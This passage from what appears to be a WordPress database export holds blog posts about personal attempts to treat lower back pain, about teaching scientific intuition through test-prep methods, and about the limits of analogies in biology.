into.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As the chiropractic/surgical explanation goes, back pain is caused by something compressing the pain nerves in the back. This can be caused by a “subluxation”, the displacement of a joint&nbsp;<a href=\"https://trevorklee.substack.com/p/how-ive-tried-to-fix-my-lower-back#footnote-1\">1</a>. Or it can be caused by a herniation, which is the bulging of a spinal disc out of its normal cavity. This is normally due to a tear in the casing that keeps a spinal disc stuck in its proper cavity. Either way, bone or cartilage ends up where it shouldn’t be, compressing pain nerves and triggering pain signals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From there, chiropractors and surgeons differ greatly in their proposed solution. Chiropractors want to pop joints back where they should be, regardless of whether they’re discs, vertebrae, or anything else. Chiropractors believe that if you can force a joint back in its proper place, it’ll stay stuck there, at least until your next chiropractic visit. If you don’t force a joint into its proper place, it will stay stuck outside, causing pain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, surgeons disagree. They don’t think that it’s possible to just force a joint back into place permanently. If you force it back in, they argue, it’ll just pop out the same way it did before. So the surgeons believe that if there’s a displacement of a spinal joint (a vertebrae), the surgeon needs to force it back in and then mechanically attach it to its fellow vertebrae using brackets, so it never escapes again. If there’s a bulging disc, on the other hand, surgeons will simply cut out the part that bulges, a procedure called “discectomy”, without worrying about forcing things back in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I like the idea of forcing joints back into place, which is why I tried chiropraxy&nbsp;<a href=\"https://trevorklee.substack.com/p/how-ive-tried-to-fix-my-lower-back#footnote-2\">2</a>. As someone who recently dislocated and then personally relocated my knee cap, I can tell you that there is a profound difference in pain levels when a joint is out of position vs. into position. If a joint is out of position, it would make sense that it would cause pain. It would also make sense that pain levels could be drastically and permanently reduced as soon as the joint was popped back in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think that’s how both chiropractors and surgeons think about it, too. Every chiropractor has presumably seen someone undergo immediate pain relief when a joint that was out of position gets forced back in. Meanwhile, every surgeon is aware of what can happen when a disc bulges severely enough to cause something like cauda equina syndrome, in which a disc ends up compressing the cauda equina nerve bundle in the lower back so badly that people lose bowel control.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In retrospect, though, I’m not sure this was the right way for me to be thinking about my lower back pain. My lower back pain comes and goes and has no other obvious symptoms. That doesn’t fit in with my experience of having a dislocated joint, which was a constant, sharp pain that did not seem like it was going away anytime soon. I also experience no loss of mobility with my back, even when I’m experiencing lower back pain. Presumably, given that the entire purpose of joints is to allow bones to move relative to another, any dislocated joint should make it difficult to move the affected bones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, this realization only came after I spent several hundred dollars on chiropractic treatments and got very confused going down the rabbit hole of controlled trials on treatments for back pain, very few of which actually try to segment people by cause of their back pain. Well, live and learn.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyhow, after my youthful experimentation with chiropraxy, I started to think that lower back pain like mine, which comes and goes and has no other obvious symptoms, would seem to require a cause that also comes and goes and wouldn’t cause any other symptoms.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Muscle strain would be one obvious option, of course. It gets worse when I overtrain my muscles (or the wrong muscles), and better when I rest my muscles, or retrain the right ones. But there’s another option here: the “<a href=\"https://en.wikipedia.org/wiki/Nocebo\">nocebo</a>” model of back pain, popularized by Dr. John Sarno.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This proposes that, in the same way patients receiving placebos can psych themselves into feeling the side effects they expect to get, Westerners can psych themselves into feeling the back pain that they expect to get. Specifically,&nbsp;<a href=\"https://www.vox.com/science-and-health/2017/10/2/16338094/dr-john-sarno-healing-back-pain\">Sarno argued that Westerners somaticize stress by turning it into back pain</a><a href=\"https://trevorklee.substack.com/p/how-ive-tried-to-fix-my-lower-back#footnote-3\">3</a>. So, the way to fix back pain is to fix how we deal with stress.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When I first read this, it seemed plausible. I have experienced stomach pain from anxiety, so it doesn’t seem crazy that I could experience back pain from stress. However, when I thought about it more, it didn’t really fit into my experience. I get back pain most often after jiu-jitsu practice, which isn’t particularly stressful but does require a lot of back muscles.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> I do occasionally get back pain when I’m stressed at work, to be fair, so there’s probably something to the nocebo effect. However, even if that is an accurate partial diagnosis, it’s even less helpful than muscle strain. I already try to reduce stress because it’s unpleasant in and of itself. That’s like half the reason I exercise, ironically. Transforming my problem from “find a quick, permanent fix to your back pain” into “find a quick, permanent fix for your stress” isn’t super helpful. Both are difficult.<br><br>So, at the end of it all, I just ended up being stuck back at treating everything as muscle pain. Now, whenever I experience back pain, I stretch my hamstrings, groin, and obliques, then do some “good morning” exercises with no weight. It seems to work ok for now. Hopefully it will continue to do so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-ive-tried-to-fix-my-lower-back#footnote-anchor-1\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both doctors and chiropractors use the term “subluxation”, but chiropractors are looser on their definition. Doctors believe that any displacement has to be visible on an x-ray in order to be considered a subluxation, while traditional chiropraxy doesn’t consider that a necessary condition. Instead, traditional chiropraxy basically says, “If we fixed your back pain with a spinal manipulation, it was a subluxation”, which is obviously problematic, given the placebo effect. Some modern chiropractors have moved more towards the medical definition, though.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-ive-tried-to-fix-my-lower-back#footnote-anchor-2\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I feel like surgery itself is too dangerous to be done without exploring every other possible option. I especially think surgeons discount the dangers of anesthesia, as up to&nbsp;<a href=\"https://sunnybrook.ca/research/content/?page=anesthesia-brain-health-education-pocd#:~:text=Post%2Doperative%20cognitive%20dysfunction%20(POCD)%20is%20a%20state%20in,to%20three%20months%20after%20surgery\">1 in 3 patients will experience some period of cognitive decline after anesthesia</a>. Basically, I don’t want to go under unless I’m desperate and have no other options.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-ive-tried-to-fix-my-lower-back#footnote-anchor-3\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>He also argued some other stupid stuff regarding pain being caused by decreased blood flow, but we can ignore that.</p>\n<!-- /wp:paragraph -->','How I\'ve tried to fix my lower back pain','','inherit','closed','closed','','319-revision-v1','','','2022-10-19 15:42:05','2022-10-19 15:42:05','',319,'https://trevorklee.com/?p=320',0,'revision','',0),
(321,1,'2022-10-19 15:43:47','2022-10-19 15:43:47','<!-- wp:paragraph -->\n<p>One of the more enlightening experiences I had in college was when I was struggling with my senior thesis. It may surprise readers of my blog to know that my senior thesis was in geology, specifically about figuring out the mass balance of the Aleutian Island chain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The mass balance, as the name might suggest, is how much mass the Aleutian Island chain is gaining or losing over time. This is a wildly difficult problem, mainly because the main way the Aleutian Island chain loses mass occurs far below ground through subduction [1]. The only way of estimating this mass loss is to use proxies, but there’s no easy way of establishing the relationship of the proxy to the Aleutian Island chain itself, and the proxies themselves are difficult to come by. These sorts of problems are very common in geosciences, which is a big reason why I left the field behind [2].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F151de106-5c52-4a72-8bef-95f7c313b4bb_389x309.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F151de106-5c52-4a72-8bef-95f7c313b4bb_389x309.jpeg\" alt=\"Subduction erosion: Rates, mechanisms, and its role in arc magmatism and  the evolution of the continental crust and mantle - ScienceDirect\" title=\"Subduction erosion: Rates, mechanisms, and its role in arc magmatism and  the evolution of the continental crust and mantle - ScienceDirect\"/></a><figcaption>Ugly diagram, but shows how mass can be lost or gained via subduction.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>One day, as I was struggling to think about this massive problem (pun intended), I happened to be talking with a geophysicist. Now geophysicists, as the name suggests, are physicists who happen to work in geology. Like most physicists, they are, by and large, brilliant, somewhat socially awkward, and unable to understand how others can’t find physics as easy as they do. They tend to work on earthquakes and problems relating to them, like using earthquakes to pinpoint where mineral deposits are in the earth [3].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This specific geophysicist, although still a bit awkward, was very friendly. He asked me about my thesis, and I told him the problem I was facing. He nodded, asked a few clarifying questions, and then headed over to his chalkboard and started rapidly sketching and talking, “Well, if you think of the subduction zone like this, and the crust like this, what you’re really looking at are these three factors. Now if we assume a steady state about the first two factors, the only source of uncertainty is the last factor [4]. Does that make sense?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I was astounded. In about 5 minutes of thinking about my senior thesis problem he had made more progress than I had in months. And it hadn’t been because he had much more knowledge about the problem I was working on. Instead, it had been his intuition, and the clarity of his thought. He took a complex problem and distilled it down to essentials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There was some sense in which it was like a magic trick, some brilliant left-brained mind making cogitations that my largely right-brained mind could follow but feebly. However, I think like all magic tricks, there was also a lot of practice behind it. Not practice specifically in the field I was studying, but practice in reducing complex geological systems down to basic moving parts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve since left geosciences behind. My professional time these days is split between biotech and test-prep, due to my weird split life (although my time might go much further towards biotech very soon, depending on how the next few weeks play out).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In biotech, I personally rarely see these sorts of intuition at play, although I think that’s because I gravitate towards subfields where there are too many unknowns. In test-prep, however, I actually explicitly try to teach intuition, which gives me interesting insight on how it might work in the sciences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Test-prep is interesting because, unlike science, it’s all about mastering a limited and very well-defined set of concepts. Although the ways in which the concepts can be tested are manifold, the concepts themselves are not. All problems are solvable, and all problems have the correct answer as one of the multiple-choice questions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F3de9cf90-ad0c-4cbd-8cea-4ce774e575a7_702x606.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F3de9cf90-ad0c-4cbd-8cea-4ce774e575a7_702x606.png\" alt=\"\"/></a><figcaption>This is one of the hardest math questions that I teach. The answer is D. 5 points to whoever can explain how to get there without looking it up.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>That means that one of the most important skills a test-taker can develop is how to recognize an existing problem as an example of one they’ve seen before. Then they need to be able to apply their existing skills to this new problem.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When I teach test-prep, I explicitly teach how to recognize problems. I’ll say “These are the key elements of a rate problem. Whenever you see these elements, you need to immediately write down your rate equation and go from there.”&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then I’ll take my students through a variety of questions that are all variations on rate problems, so that they’re able to recognize the various forms of these problems. I’ll point out that a problem involving 3 men working on a birdhouse is essentially the same as two trains traveling to meet each other, as both involve a rate, a time, and a task/distance. So, both can be solved by figuring out rates and adding them together.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In effect, this explicitly teaches intuition for these questions. Students are often amazed when I look at a math problem I’ve never seen before and I’m able to solve it within two minutes, when they would struggle with it for hours on their own. However, once I teach them how I recognize problems and break them down into their component elements, they frequently are able to make those same sorts of leaps within 100-150 hours of studying.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m able to teach this because I know the sorts of concepts that these tests test, and I’ve seen a wide enough array of problems testing those concepts. This sort of teaching isn’t uncommon in test-prep, although I’m not sure everyone teaches it as explicitly as I do.<br><br>It is very uncommon pretty much everywhere else, though. I’ve taken a lot of science classes and a lot of math classes. The best of them do point out fundamental similarities in two seemingly disparate things, but I’ve rarely had a math or science class where they’ve tried to make students develop the skills of recognizing when a fundamental concept appears in a different form.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In tightly defined and well-understood fields, I think this would be simple enough to do, although a lot of work. The real problem would come into play in loosely defined and less well understood fields. Or, to be more specific about it, as a senior in college, could I have been taught the same intuition that the geophysicist had?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I want to say yes. The geophysicist presumably developed that intuition somehow. He wasn’t born with it. Given how smart a guy he was, he probably developed it using fewer examples than a mere mortal would need. But, it doesn’t seem fundamentally impossible. There are enough papers about geological phenomena that it should be possible to cobble together a curriculum that teaches intuition about geology.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From there, it’d be a matter of reversing the typical way of teaching a paper or scientific fact. Normally, science is taught as “here’s a general law of science. These are a few examples of that law in action.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, this would need to be taught as, “Here are a few seemingly disparate examples of different scientific phenomena. Here’s how they’re actually all fundamentally similar. Here’s what you can then predict or explain with the fact that they’re all similar.”<br><br>Crucially, both problem sets and tests would need to test the skill of recognizing the similarities and then acting on them. Students would be presented with a strange, specific phenomena, and then explicitly have to recognize it as an example of a broader concept and act on it accordingly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The more concepts a student recognized, the better they’d be at eventually being able to recognize these concepts out in the wild. And then, hopefully, they’d finally be able to complete their senior thesis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] Note: I’m relying on memory here. I used to know this stuff well, but I make no guarantees as to the accuracy of the current blog post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[2] That, and an outright hostile attitude towards error-checking. As an undergrad, I found 3 separate highly-cited papers in 3 separate geoscience subfields with critical methodological errors, and was unsuccessful at getting any of them retracted or even revised. Even my professors weren’t particularly interested.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[3] Earthquakes cause vibrations to travel through the crust. The vibrations travel at different speeds depending on what the material is. You can use this (plus a lot of math) to figure out what the earth’s crust is made of. Also, geophysicists still can’t predict where or when earthquakes will occur, which is very embarrassing for them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[4] This vagueness is entirely my fault, and was not present in his original explanation. The details of his exposition have been lost to the fog of my memory banks.</p>\n<!-- /wp:paragraph -->','Is it possible to explicitly teach intuition in the sciences?','','publish','closed','closed','','is-it-possible-to-explicitly-teach-intuition-in-the-sciences','','','2022-10-19 15:43:47','2022-10-19 15:43:47','',0,'https://trevorklee.com/?page_id=321',0,'page','',0),
(322,1,'2022-10-19 15:43:47','2022-10-19 15:43:47','<!-- wp:paragraph -->\n<p>One of the more enlightening experiences I had in college was when I was struggling with my senior thesis. It may surprise readers of my blog to know that my senior thesis was in geology, specifically about figuring out the mass balance of the Aleutian Island chain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The mass balance, as the name might suggest, is how much mass the Aleutian Island chain is gaining or losing over time. This is a wildly difficult problem, mainly because the main way the Aleutian Island chain loses mass occurs far below ground through subduction [1]. The only way of estimating this mass loss is to use proxies, but there’s no easy way of establishing the relationship of the proxy to the Aleutian Island chain itself, and the proxies themselves are difficult to come by. These sorts of problems are very common in geosciences, which is a big reason why I left the field behind [2].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F151de106-5c52-4a72-8bef-95f7c313b4bb_389x309.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F151de106-5c52-4a72-8bef-95f7c313b4bb_389x309.jpeg\" alt=\"Subduction erosion: Rates, mechanisms, and its role in arc magmatism and  the evolution of the continental crust and mantle - ScienceDirect\" title=\"Subduction erosion: Rates, mechanisms, and its role in arc magmatism and  the evolution of the continental crust and mantle - ScienceDirect\"/></a><figcaption>Ugly diagram, but shows how mass can be lost or gained via subduction.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>One day, as I was struggling to think about this massive problem (pun intended), I happened to be talking with a geophysicist. Now geophysicists, as the name suggests, are physicists who happen to work in geology. Like most physicists, they are, by and large, brilliant, somewhat socially awkward, and unable to understand how others can’t find physics as easy as they do. They tend to work on earthquakes and problems relating to them, like using earthquakes to pinpoint where mineral deposits are in the earth [3].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This specific geophysicist, although still a bit awkward, was very friendly. He asked me about my thesis, and I told him the problem I was facing. He nodded, asked a few clarifying questions, and then headed over to his chalkboard and started rapidly sketching and talking, “Well, if you think of the subduction zone like this, and the crust like this, what you’re really looking at are these three factors. Now if we assume a steady state about the first two factors, the only source of uncertainty is the last factor [4]. Does that make sense?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I was astounded. In about 5 minutes of thinking about my senior thesis problem he had made more progress than I had in months. And it hadn’t been because he had much more knowledge about the problem I was working on. Instead, it had been his intuition, and the clarity of his thought. He took a complex problem and distilled it down to essentials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There was some sense in which it was like a magic trick, some brilliant left-brained mind making cogitations that my largely right-brained mind could follow but feebly. However, I think like all magic tricks, there was also a lot of practice behind it. Not practice specifically in the field I was studying, but practice in reducing complex geological systems down to basic moving parts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve since left geosciences behind. My professional time these days is split between biotech and test-prep, due to my weird split life (although my time might go much further towards biotech very soon, depending on how the next few weeks play out).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In biotech, I personally rarely see these sorts of intuition at play, although I think that’s because I gravitate towards subfields where there are too many unknowns. In test-prep, however, I actually explicitly try to teach intuition, which gives me interesting insight on how it might work in the sciences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Test-prep is interesting because, unlike science, it’s all about mastering a limited and very well-defined set of concepts. Although the ways in which the concepts can be tested are manifold, the concepts themselves are not. All problems are solvable, and all problems have the correct answer as one of the multiple-choice questions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F3de9cf90-ad0c-4cbd-8cea-4ce774e575a7_702x606.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F3de9cf90-ad0c-4cbd-8cea-4ce774e575a7_702x606.png\" alt=\"\"/></a><figcaption>This is one of the hardest math questions that I teach. The answer is D. 5 points to whoever can explain how to get there without looking it up.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>That means that one of the most important skills a test-taker can develop is how to recognize an existing problem as an example of one they’ve seen before. Then they need to be able to apply their existing skills to this new problem.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When I teach test-prep, I explicitly teach how to recognize problems. I’ll say “These are the key elements of a rate problem. Whenever you see these elements, you need to immediately write down your rate equation and go from there.”&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then I’ll take my students through a variety of questions that are all variations on rate problems, so that they’re able to recognize the various forms of these problems. I’ll point out that a problem involving 3 men working on a birdhouse is essentially the same as two trains traveling to meet each other, as both involve a rate, a time, and a task/distance. So, both can be solved by figuring out rates and adding them together.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In effect, this explicitly teaches intuition for these questions. Students are often amazed when I look at a math problem I’ve never seen before and I’m able to solve it within two minutes, when they would struggle with it for hours on their own. However, once I teach them how I recognize problems and break them down into their component elements, they frequently are able to make those same sorts of leaps within 100-150 hours of studying.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m able to teach this because I know the sorts of concepts that these tests test, and I’ve seen a wide enough array of problems testing those concepts. This sort of teaching isn’t uncommon in test-prep, although I’m not sure everyone teaches it as explicitly as I do.<br><br>It is very uncommon pretty much everywhere else, though. I’ve taken a lot of science classes and a lot of math classes. The best of them do point out fundamental similarities in two seemingly disparate things, but I’ve rarely had a math or science class where they’ve tried to make students develop the skills of recognizing when a fundamental concept appears in a different form.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In tightly defined and well-understood fields, I think this would be simple enough to do, although a lot of work. The real problem would come into play in loosely defined and less well understood fields. Or, to be more specific about it, as a senior in college, could I have been taught the same intuition that the geophysicist had?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I want to say yes. The geophysicist presumably developed that intuition somehow. He wasn’t born with it. Given how smart a guy he was, he probably developed it using fewer examples than a mere mortal would need. But, it doesn’t seem fundamentally impossible. There are enough papers about geological phenomena that it should be possible to cobble together a curriculum that teaches intuition about geology.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From there, it’d be a matter of reversing the typical way of teaching a paper or scientific fact. Normally, science is taught as “here’s a general law of science. These are a few examples of that law in action.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, this would need to be taught as, “Here are a few seemingly disparate examples of different scientific phenomena. Here’s how they’re actually all fundamentally similar. Here’s what you can then predict or explain with the fact that they’re all similar.”<br><br>Crucially, both problem sets and tests would need to test the skill of recognizing the similarities and then acting on them. Students would be presented with a strange, specific phenomena, and then explicitly have to recognize it as an example of a broader concept and act on it accordingly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The more concepts a student recognized, the better they’d be at eventually being able to recognize these concepts out in the wild. And then, hopefully, they’d finally be able to complete their senior thesis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] Note: I’m relying on memory here. I used to know this stuff well, but I make no guarantees as to the accuracy of the current blog post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[2] That, and an outright hostile attitude towards error-checking. As an undergrad, I found 3 separate highly-cited papers in 3 separate geoscience subfields with critical methodological errors, and was unsuccessful at getting any of them retracted or even revised. Even my professors weren’t particularly interested.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[3] Earthquakes cause vibrations to travel through the crust. The vibrations travel at different speeds depending on what the material is. You can use this (plus a lot of math) to figure out what the earth’s crust is made of. Also, geophysicists still can’t predict where or when earthquakes will occur, which is very embarrassing for them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[4] This vagueness is entirely my fault, and was not present in his original explanation. The details of his exposition have been lost to the fog of my memory banks.</p>\n<!-- /wp:paragraph -->','Is it possible to explicitly teach intuition in the sciences?','','inherit','closed','closed','','321-revision-v1','','','2022-10-19 15:43:47','2022-10-19 15:43:47','',321,'https://trevorklee.com/?p=322',0,'revision','',0),
(323,1,'2022-10-19 15:45:18','2022-10-19 15:45:18','<!-- wp:paragraph -->\n<p>The philosopher of science Karl Popper argued that Arthur Eddington’s 1919 test of general relativity emblematized science in action. At that moment, in Popper’s view, Eddington’s observation of the shift of light during a solar eclipse falsified Newtonian physics, leaving Einsteinian physics the only theory left standing.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The later philosopher Thomas Kuhn provided a different view of this test. Kuhn argued that all scientists see facts through the lens of a paradigm. An effective paradigm can encompass any fact, even ones which seem to contradict the paradigm. However, if enough anomalies accumulate and there’s a convincing alternative paradigm, scientists will switch over to the alternative paradigm. So, in Kuhn’s view, Eddington’s observation was just another anomaly in a list of anomalies that prompted the scientific world to switch over to an Einsteinian paradigm.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re familiar at all with the philosophy of science, these two viewpoints are probably old hat to you. I used to teach them myself in an Introduction to Western Philosophy course that I taught for a Chinese MOOC. But I’ve been thinking about them recently in the context of the various biological mysteries I’ve been exploring in my blog posts. You see, I don’t think either of them really apply to our understanding of these biological mysteries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In biology, there aren’t really paradigms or theories that attempt to explain everything. There’s no equivalent of the Newtonian paradigm for obesity or autoimmune diseases. Even for DNA, while there is a “central dogma”, there’s nothing resembling a paradigm. In other words, there’s something that you’re supposed to understand and believe in in order to make sense of it all, but inherent in that is the idea that there are some parts missing, and you’re just going to have to accept that for now until we come up with something better.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most parts of biology don’t even get a dogma. The closest they get are analogies, which can be better fitting or worse fitting. So, for example, it’s common to say the heart is like a pump (or even just “the heart is a pump”), which is pretty accurate as it does pump blood throughout the body. This doesn’t capture all the complexities of the anatomy of the heart or the relationship of the heart to the lungs, but it does give a good idea of what the heart does.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It also gives a good idea of most problems that can go wrong with the heart. There can be a blockage in the pump itself, which can reduce the amount of blood that can go into the heart or even stop blood from circulating through the heart. There can also be weakness in the muscle, which makes the pump less effective.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This pump analogy doesn’t cover some of the other common problems in the heart, like defects that cause inappropriate mixing of oxygen-rich and oxygen-poor blood or disruptions in rhythm that can be caused by disruptions in the electrical signal that controls the heart’s beating. Those go beyond simple pump analogies. However, that really doesn’t matter.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We don’t rely on the analogy to predict or explain all heart problems, just most of them. There’s no situation in which a heart anomaly would cause us to switch to a different analogy. Gaps in this analogy have been known for at least 100 years, but the analogy is still useful for understanding most heart mechanics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s really the best of the analogies that we get. Other analogies are worse. For instance, it’s very common to hear mRNA (or DNA) referred to as code. This is a useful analogy in some ways. For instance, it lets us think about how we can upload a sequence of mRNA to Github, print mRNA sequences, measure the amount of information in a given amount of mRNA, or expect a certain predictable outcome from a certain sequence of nucleotides.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, this analogy breaks down completely when we think about mRNA as a physical substance. There’s no code-based analogy for the importance of the parts of mRNA that physically link with the ribosomes, interact with the immune system, or are degraded with use. It would have been literally impossible to build the mRNA vaccines without an understanding of the chemistry and biology of mRNA, although, again, it was helpful in building the mRNA vaccines to think about the mRNA as code in certain concepts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even though all biological analogies are lacking in some way, they’re still important, though, which is why they stick around. There’s no better way to illustrate this than looking at a part of biology where analogies are lacking and seeing how confusing it is.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The one that immediately jumps to my mind is the immune system. Now, the basics of the adaptive immune system are easy enough to analogize, like talking about antibodies as police or soldiers. But the actual complexity of the immune system way outweighs the usefulness of any such analogy. Take a look at the complexity of this map of the innate immune system from Wikipedia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe636161-8405-4a0d-841b-85c401d95861_1516x1600.png\" 